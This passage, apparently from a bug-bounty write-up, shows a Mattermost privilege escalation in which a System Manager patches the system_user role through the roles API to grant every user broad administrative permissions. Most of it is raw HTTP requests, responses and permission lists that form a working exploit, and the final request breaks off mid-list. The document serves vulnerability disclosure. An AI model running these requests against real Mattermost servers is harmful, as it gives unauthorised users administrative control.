src="https://cdn-images-1.medium.com/max/1024/1*18s0DqtZuVKF48FXKMHSBw.png" /><figcaption>System Manager user allowed functionalities.</figcaption></figure><p>While logged into the UI as a user with the <strong>‘System Manager’</strong> role, I observed that the functionality only allows editing permissions related to channels, teams, and channel settings. These do not grant access to other functionalities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*boPuAXw-B20WvHWsRlNJAA.png" /><figcaption>Permissions UI functioality.</figcaption></figure><p>For example, with a user logged in as <strong>‘System Manager’</strong>, the signup functionality is grayed out, and editing is not allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1b52ZauZn4rIqUUpJVn9A.png" /></figure><p>While analyzing the application, I found that a user with the sysconsole_write_user_management_permissions permission, granted by default to the <strong>System Manager</strong> role, can modify roles like <strong>system_user</strong> to add permissions and gain access to additional functionalities.</p><p>This is done through the <strong>/api/v4/roles/{role_id}/patch</strong> endpoint. However, the <a href="https://api.mattermost.com/#tag/roles/operation/PatchRole">Mattermost API documentation</a> states that this endpoint requires the <strong>manage_system</strong> permission, as shown in the following image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lb0wcmR8VBn6x4HSDYxfnw.png" /><figcaption>Mattermost API documetation.</figcaption></figure><p>As shown in the following HTTP request/response, the <strong>manage_system </strong>permission is not assigned to the <strong>system_manager</strong> role.</p><p>HTTP Ruquest:</p><pre>POST /api/v4/roles/names HTTP/1.1<br>Host: bugbounty.local.loc:8065<br>User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0<br>Accept: */*<br>Accept-Language: en<br>Accept-Encoding: gzip, deflate, br<br>X-Requested-With: XMLHttpRequest<br>X-CSRF-Token: 373jwhx8btgc9kem783no53wia<br>Content-Type: application/json<br>Content-Length: 18<br>Origin: http://bugbounty.local.loc:8065<br>Connection: keep-alive<br>Cookie: rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2FRFxooo%2FwhKH7g6hX5pLEaVSIhytyDOm9dWRRWfuvfoR8Ez7pfPywd3zYAsGat15TgqTBAy%2Fpv%2Bg%3D%3D; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX182M0E50NK6lKKZVodgeG%2FoM8GAlGot6zM%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2B3I%2BypRLW7JsCw1ZMuvq7RzvRB338y16Q%3D; rl_user_id=%22RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW%22; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2B7XuSbkm6Vx%2Fm5s5hIEHrIspxFdM%2BkmRk%3D; MMAUTHTOKEN=5ij9fh7iwjbnbdiyssxgu3p98e; MMUSERID=fmwmcyb7hbnnjxp5fw16rqqeyh; MMCSRF=84a5yceckirspreff64ywzmpdw<br>X-PwnFox-Color: red<br>Priority: u=4<br><br>[&quot;system_manager&quot;]</pre><p>HTTP Response:</p><pre>HTTP/1.1 200 OK<br>Content-Type: application/json<br>Permissions-Policy: <br>Referrer-Policy: no-referrer<br>Vary: Accept-Encoding<br>X-Content-Type-Options: nosniff<br>X-Request-Id: 8bqyhbhez3fybgfby9b94w8rfe<br>X-Version-Id: 9.11.6.12182130320.7c391bee0c4c50c0744d2f06348b50ee.true<br>Date: Fri, 24 Jan 2025 13:41:34 GMT<br>Content-Length: 4561<br><br>[{&quot;id&quot;:&quot;ejkzotaz6pgtip6yiwbi73khzr&quot;,&quot;name&quot;:&quot;system_manager&quot;,&quot;display_name&quot;:&quot;authentication.roles.system_manager.name&quot;,&quot;description&quot;:&quot;authentication.roles.system_manager.description&quot;,&quot;create_at&quot;:1737662991156,&quot;update_at&quot;:1737662993342,&quot;delete_at&quot;:0,&quot;permissions&quot;:[&quot;sysconsole_read_site_announcement_banner&quot;,&quot;sysconsole_read_integrations_integration_management&quot;,&quot;manage_team_roles&quot;,&quot;sysconsole_write_integrations_integration_management&quot;,&quot;sysconsole_read_reporting_team_statistics&quot;,&quot;sysconsole_read_reporting_site_statistics&quot;,&quot;manage_elasticsearch_post_indexing_job&quot;,&quot;sysconsole_read_environment_push_notification_server&quot;,&quot;sysconsole_read_environment_developer&quot;,&quot;invalidate_caches&quot;,&quot;sysconsole_read_environment_file_storage&quot;,&quot;sysconsole_read_integrations_bot_accounts&quot;,&quot;sysconsole_read_authentication_openid&quot;,&quot;remove_user_from_team&quot;,&quot;manage_private_channel_members&quot;,&quot;manage_outgoing_oauth_connections&quot;,&quot;sysconsole_write_integrations_cors&quot;,&quot;sysconsole_read_integrations_cors&quot;,&quot;test_email&quot;,&quot;sysconsole_write_site_emoji&quot;,&quot;convert_public_channel_to_private&quot;,&quot;sysconsole_write_site_users_and_teams&quot;,&quot;get_logs&quot;,&quot;sysconsole_write_site_posts&quot;,&quot;sysconsole_write_user_management_permissions&quot;,&quot;test_ldap&quot;,&quot;sysconsole_read_products_boards&quot;,&quot;sysconsole_read_user_management_teams&quot;,&quot;sysconsole_write_environment_smtp&quot;,&quot;create_elasticsearch_post_aggregation_job&quot;,&quot;recycle_database_connections&quot;,&quot;read_channel&quot;,&quot;sysconsole_write_site_announcement_banner&quot;,&quot;sysconsole_read_integrations_gif&quot;,&quot;sysconsole_write_environment_logging&quot;,&quot;sysconsole_write_environment_database&quot;,&quot;sysconsole_write_integrations_bot_accounts&quot;,&quot;read_public_channel_groups&quot;,&quot;add_user_to_team&quot;,&quot;view_team&quot;,&quot;sysconsole_read_environment_elasticsearch&quot;,&quot;reload_config&quot;,&quot;sysconsole_write_integrations_gif&quot;,&quot;sysconsole_read_authentication_guest_access&quot;,&quot;sysconsole_read_environment_logging&quot;,&quot;sysconsole_write_user_management_groups&quot;,&quot;sysconsole_write_environment_web_server&quot;,&quot;sysconsole_write_site_localization&quot;,&quot;sysconsole_read_authentication_mfa&quot;,&quot;test_site_url&quot;,&quot;convert_private_channel_to_public&quot;,&quot;sysconsole_write_user_management_teams&quot;,&quot;sysconsole_write_environment_elasticsearch&quot;,&quot;manage_elasticsearch_post_aggregation_job&quot;,&quot;sysconsole_read_environment_session_lengths&quot;,&quot;manage_public_channel_properties&quot;,&quot;sysconsole_write_environment_file_storage&quot;,&quot;sysconsole_write_environment_performance_monitoring&quot;,&quot;sysconsole_read_authentication_email&quot;,&quot;sysconsole_write_environment_image_proxy&quot;,&quot;sysconsole_write_environment_developer&quot;,&quot;read_elasticsearch_post_indexing_job&quot;,&quot;sysconsole_read_plugins&quot;,&quot;read_public_channel&quot;,&quot;sysconsole_read_authentication_signup&quot;,&quot;read_private_channel_groups&quot;,&quot;list_public_teams&quot;,&quot;sysconsole_read_site_file_sharing_and_downloads&quot;,&quot;sysconsole_read_site_notices&quot;,&quot;sysconsole_read_environment_high_availability&quot;,&quot;delete_public_channel&quot;,&quot;sysconsole_write_site_public_links&quot;,&quot;sysconsole_write_site_notices&quot;,&quot;sysconsole_read_environment_rate_limiting&quot;,&quot;sysconsole_write_site_notifications&quot;,&quot;manage_channel_roles&quot;,&quot;delete_private_channel&quot;,&quot;sysconsole_read_site_notifications&quot;,&quot;manage_private_channel_properties&quot;,&quot;sysconsole_write_products_boards&quot;,&quot;sysconsole_write_environment_session_lengths&quot;,&quot;sysconsole_write_environment_high_availability&quot;,&quot;sysconsole_write_environment_rate_limiting&quot;,&quot;purge_elasticsearch_indexes&quot;,&quot;test_elasticsearch&quot;,&quot;sysconsole_read_authentication_saml&quot;,&quot;create_elasticsearch_post_indexing_job&quot;,&quot;read_elasticsearch_post_aggregation_job&quot;,&quot;test_s3&quot;,&quot;sysconsole_read_environment_smtp&quot;,&quot;read_ldap_sync_job&quot;,&quot;sysconsole_read_about_edition_and_license&quot;,&quot;sysconsole_read_site_public_links&quot;,&quot;sysconsole_read_environment_web_server&quot;,&quot;sysconsole_read_site_emoji&quot;,&quot;get_analytics&quot;,&quot;manage_team&quot;,&quot;sysconsole_read_user_management_permissions&quot;,&quot;sysconsole_write_site_file_sharing_and_downloads&quot;,&quot;sysconsole_read_environment_database&quot;,&quot;join_public_teams&quot;,&quot;join_private_teams&quot;,&quot;sysconsole_read_user_management_channels&quot;,&quot;sysconsole_read_site_users_and_teams&quot;,&quot;sysconsole_write_environment_push_notification_server&quot;,&quot;sysconsole_read_user_management_groups&quot;,&quot;sysconsole_read_site_localization&quot;,&quot;list_private_teams&quot;,&quot;manage_public_channel_members&quot;,&quot;read_license_information&quot;,&quot;sysconsole_read_authentication_ldap&quot;,&quot;sysconsole_read_environment_image_proxy&quot;,&quot;sysconsole_read_reporting_server_logs&quot;,&quot;sysconsole_read_environment_performance_monitoring&quot;,&quot;sysconsole_read_authentication_password&quot;,&quot;sysconsole_read_site_posts&quot;,&quot;sysconsole_write_user_management_channels&quot;,&quot;sysconsole_read_site_customization&quot;,&quot;sysconsole_write_site_customization&quot;,&quot;edit_brand&quot;],&quot;scheme_managed&quot;:false,&quot;built_in&quot;:true}]</pre><p>If a user with the sysconsole_write_user_management_permissions permission tries to modify the <strong>system_manager</strong>, <strong>system_user_manager</strong>, or <strong>system_read_only_admin</strong> roles, an error occurs stating that the account lacks the appropriate permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*MSfl5UWR4OvBWPfQuYGEZA.png" /><figcaption>Error when try to modify</figcaption></figure><p>However, a user with the sysconsole_write_user_management_permissions permission or the <strong>System Manager</strong> role can edit the <strong>system_user</strong> role, effectively escalating privileges for all registered users.</p><p>I created a Python script to test which permissions can be assigned or not, and I identified the following permissions that <strong>cannot</strong> be set:</p><pre>manage_system<br>sysconsole_read_user_management_system_roles<br>manage_roles<br>sysconsole_write_user_management_system_roles</pre><p>The permissions that <strong>can be </strong>set using this vulnerability are:</p><pre>use_channel_mentions<br>sysconsole_read_site_file_sharing_and_downloads<br>sysconsole_read_user_management_users<br>read_channel_content<br>sysconsole_write_site_users_and_teams<br>edit_post<br>sysconsole_read_about_edition_and_license<br>get_logs<br>playbook_public_create<br>sysconsole_write_environment_performance_monitoring<br>sysconsole_write_environment_file_storage<br>sysconsole_read_authentication_guest_access<br>test_s3<br>sysconsole_read_site_public_links<br>sysconsole_write_site_public_links<br>get_public_link<br>sysconsole_read_environment_high_availability<br>sysconsole_read_environment_performance_monitoring<br>manage_others_slash_commands<br>manage_bots<br>remove_user_from_team<br>sysconsole_read_site_localization<br>create_emojis<br>assign_system_admin_role<br>use_group_mentions<br>sysconsole_read_integrations_cors<br>read_data_retention_job<br>purge_elasticsearch_indexes<br>delete_custom_group<br>sysconsole_read_products_boards<br>sysconsole_read_user_management_groups<br>sysconsole_write_site_file_sharing_and_downloads<br>playbook_private_manage_members<br>manage_custom_group_members<br>read_jobs<br>add_bookmark_public_channel<br>delete_public_channel<br>delete_bookmark_public_channel<br>sysconsole_read_integrations_bot_accounts<br>sysconsole_write_user_management_groups<br>get_analytics<br>promote_guest<br>sysconsole_write_authentication_ldap<br>sysconsole_write_environment_high_availability<br>add_ldap_private_cert<br>add_bookmark_private_channel<br>remove_reaction<br>manage_public_channel_members<br>edit_bookmark_private_channel<br>playbook_private_make_public<br>sysconsole_write_site_localization<br>manage_secure_connections<br>sysconsole_write_authentication_openid<br>sysconsole_read_authentication_mfa<br>sysconsole_write_environment_rate_limiting<br>manage_private_channel_members<br>test_elasticsearch<br>sysconsole_read_reporting_site_statistics<br>delete_others_posts<br>sysconsole_read_user_management_teams<br>sysconsole_write_products_boards<br>sysconsole_write_authentication_guest_access<br>read_audits<br>read_compliance_export_job<br>sysconsole_write_environment_push_notification_server<br>create_user_access_token<br>recycle_database_connections<br>read_deleted_posts<br>sysconsole_read_integrations_integration_management<br>sysconsole_write_site_customization<br>create_post_bleve_indexes_job<br>test_email<br>sysconsole_read_reporting_server_logs<br>list_private_teams<br>sysconsole_write_compliance_data_retention_policy<br>sysconsole_write_environment_elasticsearch<br>sysconsole_read_experimental_features<br>sysconsole_write_compliance_compliance_monitoring<br>download_compliance_export_result<br>sysconsole_write_site_ip_filters<br>remove_saml_idp_cert<br>order_bookmark_private_channel<br>sysconsole_write_compliance_compliance_export<br>playbook_private_create<br>sysconsole_read_authentication_openid<br>run_manage_properties<br>edit_custom_group<br>add_saml_idp_cert<br>sysconsole_read_site_posts<br>invite_guest<br>create_post<br>manage_data_retention_job<br>use_slash_commands<br>sysconsole_write_environment_web_server<br>purge_bleve_indexes<br>sysconsole_read_authentication_saml<br>join_private_teams<br>sysconsole_read_environment_developer<br>playbook_public_view<br>create_compliance_export_job<br>sysconsole_write_authentication_password<br>view_members<br>sysconsole_read_environment_file_storage<br>playbook_private_manage_properties<br>edit_others_posts<br>create_data_retention_job<br>join_public_teams<br>read_elasticsearch_post_aggregation_job<br>create_private_channel<br>create_elasticsearch_post_aggregation_job<br>sysconsole_write_site_emoji<br>sysconsole_read_reporting_team_statistics<br>sysconsole_write_compliance_custom_terms_of_service<br>reload_config<br>delete_others_emojis<br>read_public_channel_groups<br>manage_ldap_sync_job<br>demote_to_guest<br>revoke_user_access_token<br>manage_post_bleve_indexes_job<br>add_saml_public_cert<br>sysconsole_read_authentication_ldap<br>create_direct_channel<br>playbook_public_manage_members<br>sysconsole_write_authentication_saml<br>manage_team<br>sysconsole_write_user_management_permissions<br>sysconsole_write_user_management_users<br>sysconsole_write_environment_database<br>sysconsole_write_site_notices<br>remove_ldap_private_cert<br>add_reaction<br>add_user_to_team<br>sysconsole_write_site_announcement_banner<br>sysconsole_write_integrations_bot_accounts<br>sysconsole_write_reporting_team_statistics<br>sysconsole_read_compliance_custom_terms_of_service<br>sysconsole_read_environment_smtp<br>run_view<br>import_team<br>create_post_ephemeral<br>sysconsole_write_authentication_email<br>get_saml_cert_status<br>playbook_public_manage_roles<br>manage_license_information<br>manage_shared_channels<br>sysconsole_read_authentication_signup<br>sysconsole_write_plugins<br>sysconsole_read_experimental_bleve<br>sysconsole_write_authentication_signup<br>sysconsole_read_environment_rate_limiting<br>sysconsole_read_billing<br>sysconsole_read_integrations_gif<br>list_users_without_team<br>run_manage_members<br>sysconsole_read_environment_database<br>sysconsole_read_environment_session_lengths<br>sysconsole_read_site_customization<br>test_site_url<br>create_custom_group<br>sysconsole_write_experimental_feature_flags<br>manage_public_channel_properties<br>sysconsole_write_environment_logging<br>sysconsole_read_authentication_email<br>sysconsole_read_environment_image_proxy<br>assign_bot<br>sysconsole_write_site_notifications<br>sysconsole_write_reporting_server_logs<br>manage_oauth<br>sysconsole_write_environment_session_lengths<br>sysconsole_write_integrations_gif<br>sysconsole_write_integrations_integration_management<br>restore_custom_group<br>remove_others_reactions<br>sysconsole_write_environment_smtp<br>sysconsole_read_site_notifications<br>playbook_private_view<br>sysconsole_read_user_management_permissions<br>edit_brand<br>sysconsole_read_environment_push_notification_server<br>sysconsole_read_environment_elasticsearch<br>sysconsole_read_experimental_feature_flags<br>list_team_channels<br>test_ldap<br>sysconsole_write_integrations_cors<br>read_elasticsearch_post_indexing_job<br>join_public_channels<br>manage_slash_commands<br>playbook_public_manage_properties<br>manage_team_roles<br>read_private_channel_groups<br>convert_public_channel_to_private<br>remove_ldap_public_cert<br>manage_compliance_export_job<br>run_create<br>invite_user<br>read_public_channel<br>sysconsole_write_environment_developer<br>sysconsole_read_compliance_compliance_monitoring<br>sysconsole_read_environment_logging<br>manage_incoming_webhooks<br>sysconsole_write_user_management_teams<br>create_team<br>read_channel<br>sysconsole_read_site_users_and_teams<br>sysconsole_read_site_notices<br>remove_saml_public_cert<br>create_public_channel<br>create_post_public<br>sysconsole_write_about_edition_and_license<br>convert_private_channel_to_public<br>playbook_private_manage_roles<br>sysconsole_read_user_management_channels<br>manage_outgoing_oauth_connections<br>manage_elasticsearch_post_indexing_job<br>invalidate_email_invite<br>read_other_users_teams<br>invalidate_caches<br>sysconsole_write_user_management_channels<br>add_ldap_public_cert<br>manage_others_outgoing_webhooks<br>edit_other_users<br>sysconsole_write_authentication_mfa<br>sysconsole_write_site_posts<br>delete_private_channel<br>read_license_information<br>sysconsole_read_site_emoji<br>edit_bookmark_public_channel<br>sysconsole_write_billing<br>read_bots<br>create_elasticsearch_post_indexing_job<br>order_bookmark_public_channel<br>sysconsole_read_compliance_data_retention_policy<br>sysconsole_read_plugins<br>read_others_bots<br>create_bot<br>playbook_public_make_private<br>sysconsole_read_site_announcement_banner<br>sysconsole_write_experimental_bleve<br>remove_saml_private_cert<br>manage_outgoing_webhooks<br>add_saml_private_cert<br>manage_others_bots<br>read_user_access_token<br>manage_elasticsearch_post_aggregation_job<br>sysconsole_read_authentication_password<br>get_saml_metadata_from_idp<br>delete_post<br>sysconsole_read_environment_web_server<br>list_public_teams<br>upload_file<br>sysconsole_write_reporting_site_statistics<br>manage_system_wide_oauth<br>create_group_channel<br>manage_others_incoming_webhooks<br>sysconsole_write_environment_image_proxy<br>sysconsole_write_experimental_features<br>manage_jobs<br>create_ldap_sync_job<br>read_ldap_sync_job<br>sysconsole_read_site_ip_filters<br>view_team<br>delete_emojis<br>manage_channel_roles<br>manage_private_channel_properties<br>delete_bookmark_private_channel<br>sysconsole_read_compliance_compliance_export</pre><p>To exploit this vulnerability as a <strong>System Manager</strong> user, we first retrieve the ID of the <strong>system_user</strong> role.</p><p>As shown in the response, the ID is <strong>wnbbfpf6etfgunkbk76mk19wfy</strong>. However, this ID varies with each installation.</p><pre>POST /api/v4/roles/names HTTP/1.1<br>Host: bugbounty.local.loc:8065<br>User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0<br>Accept: */*<br>Accept-Language: en<br>Accept-Encoding: gzip, deflate, br<br>X-Requested-With: XMLHttpRequest<br>X-CSRF-Token: 373jwhx8btgc9kem783no53wia<br>Content-Type: application/json<br>Content-Length: 15<br>Origin: http://bugbounty.local.loc:8065<br>Connection: keep-alive<br>Cookie: rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2FRFxooo%2FwhKH7g6hX5pLEaVSIhytyDOm9dWRRWfuvfoR8Ez7pfPywd3zYAsGat15TgqTBAy%2Fpv%2Bg%3D%3D; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX182M0E50NK6lKKZVodgeG%2FoM8GAlGot6zM%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2B3I%2BypRLW7JsCw1ZMuvq7RzvRB338y16Q%3D; rl_user_id=%22RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW%22; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FAEvSfLJ7hxZKqk22z1v99DhmvIn%2B9y3erMHWQAE99HUsKpeXMPUrW; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2B7XuSbkm6Vx%2Fm5s5hIEHrIspxFdM%2BkmRk%3D; MMAUTHTOKEN=5ij9fh7iwjbnbdiyssxgu3p98e; MMUSERID=fmwmcyb7hbnnjxp5fw16rqqeyh; MMCSRF=84a5yceckirspreff64ywzmpdw<br>X-PwnFox-Color: red<br>Priority: u=4<br><br>[&quot;system_user&quot;]</pre><pre>HTTP/1.1 200 OK<br>Content-Type: application/json<br>Permissions-Policy: <br>Referrer-Policy: no-referrer<br>Vary: Accept-Encoding<br>X-Content-Type-Options: nosniff<br>X-Request-Id: unx3y7ep33yh7pmffkjsb6nzfa<br>X-Version-Id: 9.11.6.12182130320.810135a6cb2d1daae8ca0378b4f51c34.true<br>Date: Thu, 23 Jan 2025 20:43:44 GMT<br>Content-Length: 559<br><br>[{&quot;id&quot;:&quot;wnbbfpf6etfgunkbk76mk19wfy&quot;,&quot;name&quot;:&quot;system_user&quot;,&quot;display_name&quot;:&quot;authentication.roles.global_user.name&quot;,&quot;description&quot;:&quot;authentication.roles.global_user.description&quot;,&quot;create_at&quot;:1737662991181,&quot;update_at&quot;:1737662993369,&quot;delete_at&quot;:0,&quot;permissions&quot;:[&quot;join_public_teams&quot;,&quot;manage_custom_group_members&quot;,&quot;delete_emojis&quot;,&quot;list_public_teams&quot;,&quot;delete_custom_group&quot;,&quot;create_custom_group&quot;,&quot;create_team&quot;,&quot;edit_custom_group&quot;,&quot;create_group_channel&quot;,&quot;view_members&quot;,&quot;create_direct_channel&quot;,&quot;create_emojis&quot;,&quot;restore_custom_group&quot;],&quot;scheme_managed&quot;:true,&quot;built_in&quot;:true}]</pre><p>Then send a request to the endpoint <strong>/api/v4/roles/{RoleID}/patch, replacing {RoleID</strong>} with the role ID from the previous request.</p><p>In the following request/response, I added all the allowed permissions to the system_user role.</p><p>HTTP Request:</p><pre>PUT /api/v4/roles/wnbbfpf6etfgunkbk76mk19wfy/patch HTTP/1.1<br>Host: bugbounty.local.loc:8065<br>User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0<br>Accept: */*<br>Accept-Language: en<br>Accept-Encoding: gzip, deflate, br<br>X-Requested-With: XMLHttpRequest<br>X-CSRF-Token: hetcnyu6yifnupfbfqbps1an7c<br>Content-Type: application/json<br>Content-Length: 8911<br>Origin: http://bugbounty.local.loc:8065<br>Connection: keep-alive<br>Cookie: ; MMUSERID=dgasf5kf3tbbbjdh89hh4gg4aa;MMAUTHTOKEN=oixqkbmfwbgppj5ce1bgg596fr<br>X-PwnFox-Color: blue<br>Priority: u=0<br><br>{&quot;id&quot;:&quot;kb3ymjqhxifaib8194xrf8k5tc&quot;,&quot;name&quot;:&quot;system_user&quot;,&quot;display_name&quot;:&quot;authentication.roles.system_user.name&quot;,&quot;description&quot;:&quot;authentication.roles.system_user.description&quot;,&quot;create_at&quot;:1737640041017,&quot;update_at&quot;:1737643362856,&quot;delete_at&quot;:0,&quot;permissions&quot;:[&quot;join_public_teams&quot;,&quot;manage_custom_group_members&quot;,&quot;delete_emojis&quot;,&quot;list_public_teams&quot;,&quot;delete_custom_group&quot;,&quot;create_custom_group&quot;,&quot;create_team&quot;,&quot;edit_custom_group&quot;,&quot;create_group_channel&quot;,&quot;view_members&quot;,&quot;create_direct_channel&quot;,&quot;create_emojis&quot;,&quot;restore_custom_group&quot;,<br>&quot;use_channel_mentions&quot;,&quot;sysconsole_read_site_file_sharing_and_downloads&quot;,&quot;sysconsole_read_user_management_users&quot;,&quot;read_channel_content&quot;,&quot;sysconsole_write_site_users_and_teams&quot;,&quot;edit_post&quot;,&quot;sysconsole_read_about_edition_and_license&quot;,&quot;get_logs&quot;,&quot;playbook_public_create&quot;,&quot;sysconsole_write_environment_performance_monitoring&quot;,&quot;sysconsole_write_environment_file_storage&quot;,&quot;sysconsole_read_authentication_guest_access&quot;,&quot;test_s3&quot;,&quot;sysconsole_read_site_public_links&quot;,&quot;sysconsole_write_site_public_links&quot;,&quot;get_public_link&quot;,&quot;sysconsole_read_environment_high_availability&quot;,&quot;sysconsole_read_environment_performance_monitoring&quot;,&quot;manage_others_slash_commands&quot;,&quot;manage_bots&quot;,&quot;remove_user_from_team&quot;,&quot;sysconsole_read_site_localization&quot;,&quot;create_emojis&quot;,&quot;assign_system_admin_role&quot;,&quot;use_group_mentions&quot;,&quot;sysconsole_read_integrations_cors&quot;,&quot;read_data_retention_job&quot;,&quot;purge_elasticsearch_indexes&quot;,&quot;delete_custom_group&quot;,&quot;sysconsole_read_products_boards&quot;,&quot;sysconsole_read_user_management_groups&quot;,&quot;sysconsole_write_site_file_sharing_and_downloads&quot;,&quot;playbook_private_manage_members&quot;,&quot;manage_custom_group_members&quot;,&quot;read_jobs&quot;,&quot;add_bookmark_public_channel&quot;,&quot;delete_public_channel&quot;,&quot;delete_bookmark_public_channel&quot;,&quot;sysconsole_read_integrations_bot_accounts&quot;,&quot;sysconsole_write_user_management_groups&quot;,&quot;get_analytics&quot;,&quot;promote_guest&quot;,&quot;sysconsole_write_authentication_ldap&quot;,&quot;sysconsole_write_environment_high_availability&quot;,&quot;add_ldap_private_cert&quot;,&quot;add_bookmark_private_channel&quot;,&quot;remove_reaction&quot;,&quot;manage_public_channel_members&quot;,&quot;edit_bookmark_private_channel&quot;,&quot;playbook_private_make_public&quot;,&quot;sysconsole_write_site_localization&quot;,&quot;manage_secure_connections&quot;,&quot;sysconsole_write_authentication_openid&quot;,&quot;sysconsole_read_authentication_mfa&quot;,&quot;sysconsole_write_environment_rate_limiting&quot;,&quot;manage_private_channel_members&quot;,&quot;test_elasticsearch&quot;,&quot;sysconsole_read_reporting_site_statistics&quot;,&quot;delete_others_posts&quot;,&quot;sysconsole_read_user_management_teams&quot;,&quot;sysconsole_write_products_boards&quot;,&quot;sysconsole_write_authentication_guest_access&quot;,&quot;read_audits&quot;,&quot;read_compliance_export_job&quot;,&quot;sysconsole_write_environment_push_notification_server&quot;,&quot;create_user_access_token&quot;,&quot;recycle_database_connections&quot;,&quot;read_deleted_posts&quot;,&quot;sysconsole_read_integrations_integration_management&quot;,&quot;sysconsole_write_site_customization&quot;,&quot;create_post_bleve_indexes_job&quot;,&quot;test_email&quot;,&quot;sysconsole_read_reporting_server_logs&quot;,&quot;list_private_teams&quot;,&quot;sysconsole_write_compliance_data_retention_policy&quot;,&quot;sysconsole_write_environment_elasticsearch&quot;,&quot;sysconsole_read_experimental_features&quot;,&quot;sysconsole_write_compliance_compliance_monitoring&quot;,&quot;download_compliance_export_result&quot;,&quot;sysconsole_write_site_ip_filters&quot;,&quot;remove_saml_idp_cert&quot;,&quot;order_bookmark_private_channel&quot;,&quot;sysconsole_write_compliance_compliance_export&quot;,&quot;playbook_private_create&quot;,&quot;sysconsole_read_authentication_openid&quot;,&quot;run_manage_properties&quot;,&quot;edit_custom_group&quot;,&quot;add_saml_idp_cert&quot;,&quot;sysconsole_read_site_posts&quot;,&quot;invite_guest&quot;,&quot;create_post&quot;,&quot;manage_data_retention_job&quot;,&quot;use_slash_commands&quot;,&quot;sysconsole_write_environment_web_server&quot;,&quot;purge_bleve_indexes&quot;,&quot;sysconsole_read_authentication_saml&quot;,&quot;join_private_teams&quot;,&quot;sysconsole_read_environment_developer&quot;,&quot;playbook_public_view&quot;,&quot;create_compliance_export_job&quot;,&quot;sysconsole_write_authentication_password&quot;,&quot;view_members&quot;,&quot;sysconsole_read_environment_file_storage&quot;,&quot;playbook_private_manage_properties&quot;,&quot;edit_others_posts&quot;,&quot;create_data_retention_job&quot;,&quot;join_public_teams&quot;,&quot;read_elasticsearch_post_aggregation_job&quot;,&quot;create_private_channel&quot;,&quot;create_elasticsearch_post_aggregation_job&quot;,&quot;sysconsole_write_site_emoji&quot;,&quot;sysconsole_read_reporting_team_statistics&quot;,&quot;sysconsole_write_compliance_custom_terms_of_service&quot;,&quot;reload_config&quot;,&quot;delete_others_emojis&quot;,&quot;read_public_channel_groups&quot;,&quot;manage_ldap_sync_job&quot;,&quot;demote_to_guest&quot;,&quot;revoke_user_access_token&quot;,&quot;manage_post_bleve_indexes_job&quot;,&quot;add_saml_public_cert&quot;,&quot;sysconsole_read_authentication_ldap&quot;,&quot;create_direct_channel&quot;,&quot;playbook_public_manage_members&quot;,&quot;sysconsole_write_authentication_saml&quot;,&quot;manage_team&quot;,&quot;sysconsole_write_user_management_permissions&quot;,&quot;sysconsole_write_user_management_users&quot;,&quot;sysconsole_write_environment_database&quot;,&quot;sysconsole_write_site_notices&quot;,&quot;remove_ldap_private_cert&quot;,&quot;add_reaction&quot;,&quot;add_user_to_team&quot;,&quot;sysconsole_write_site_announcement_banner&quot;,&quot;sysconsole_write_integrations_bot_accounts&quot;,&quot;sysconsole_write_reporting_team_statistics&quot;,&quot;sysconsole_read_compliance_custom_terms_of_service&quot;,&quot;sysconsole_read_environment_smtp&quot;,&quot;run_view&quot;,&quot;import_team&quot;,&quot;create_post_ephemeral&quot;,&quot;sysconsole_write_authentication_email&quot;,&quot;get_saml_cert_status&quot;,&quot;playbook_public_manage_roles&quot;,&quot;manage_license_information&quot;,&quot;manage_shared_channels&quot;,&quot;sysconsole_read_authentication_signup&quot;,&quot;sysconsole_write_plugins&quot;,&quot;sysconsole_read_experimental_bleve&quot;,&quot;sysconsole_write_authentication_signup&quot;,&quot;sysconsole_read_environment_rate_limiting&quot;,&quot;sysconsole_read_billing&quot;,&quot;sysconsole_read_integrations_gif&quot;,&quot;list_users_without_team&quot;,&quot;run_manage_members&quot;,&quot;sysconsole_read_environment_database&quot;,&quot;sysconsole_read_environment_session_lengths&quot;,&quot;sysconsole_read_site_customization&quot;,&quot;test_site_url&quot;,&quot;create_custom_group&quot;,&quot;sysconsole_write_experimental_feature_flags&quot;,&quot;manage_public_channel_properties&quot;,&quot;sysconsole_write_environment_logging&quot;,&quot;sysconsole_read_authentication_email&quot;,&quot;sysconsole_read_environment_image_proxy&quot;,&quot;assign_bot&quot;,&quot;sysconsole_write_site_notifications&quot;,&quot;sysconsole_write_reporting_server_logs&quot;,&quot;manage_oauth&quot;,&quot;sysconsole_write_environment_session_lengths&quot;,&quot;sysconsole_write_integrations_gif&quot;,&quot;sysconsole_write_integrations_integration_management&quot;,&quot;restore_custom_group&quot;,&quot;remove_others_reactions&quot;,&quot;sysconsole_write_environment_smtp&quot;,&quot;sysconsole_read_site_notifications&quot;,&quot;playbook_private_view&quot;,&quot;sysconsole_read_user_management_permissions&quot;,&quot;edit_brand&quot;,&quot;sysconsole_read_environment_push_notification_server&quot;,&quot;sysconsole_read_environment_elasticsearch&quot;,&quot;sysconsole_read_experimental_feature_flags&quot;,&quot;list_team_channels&quot;,&quot;test_l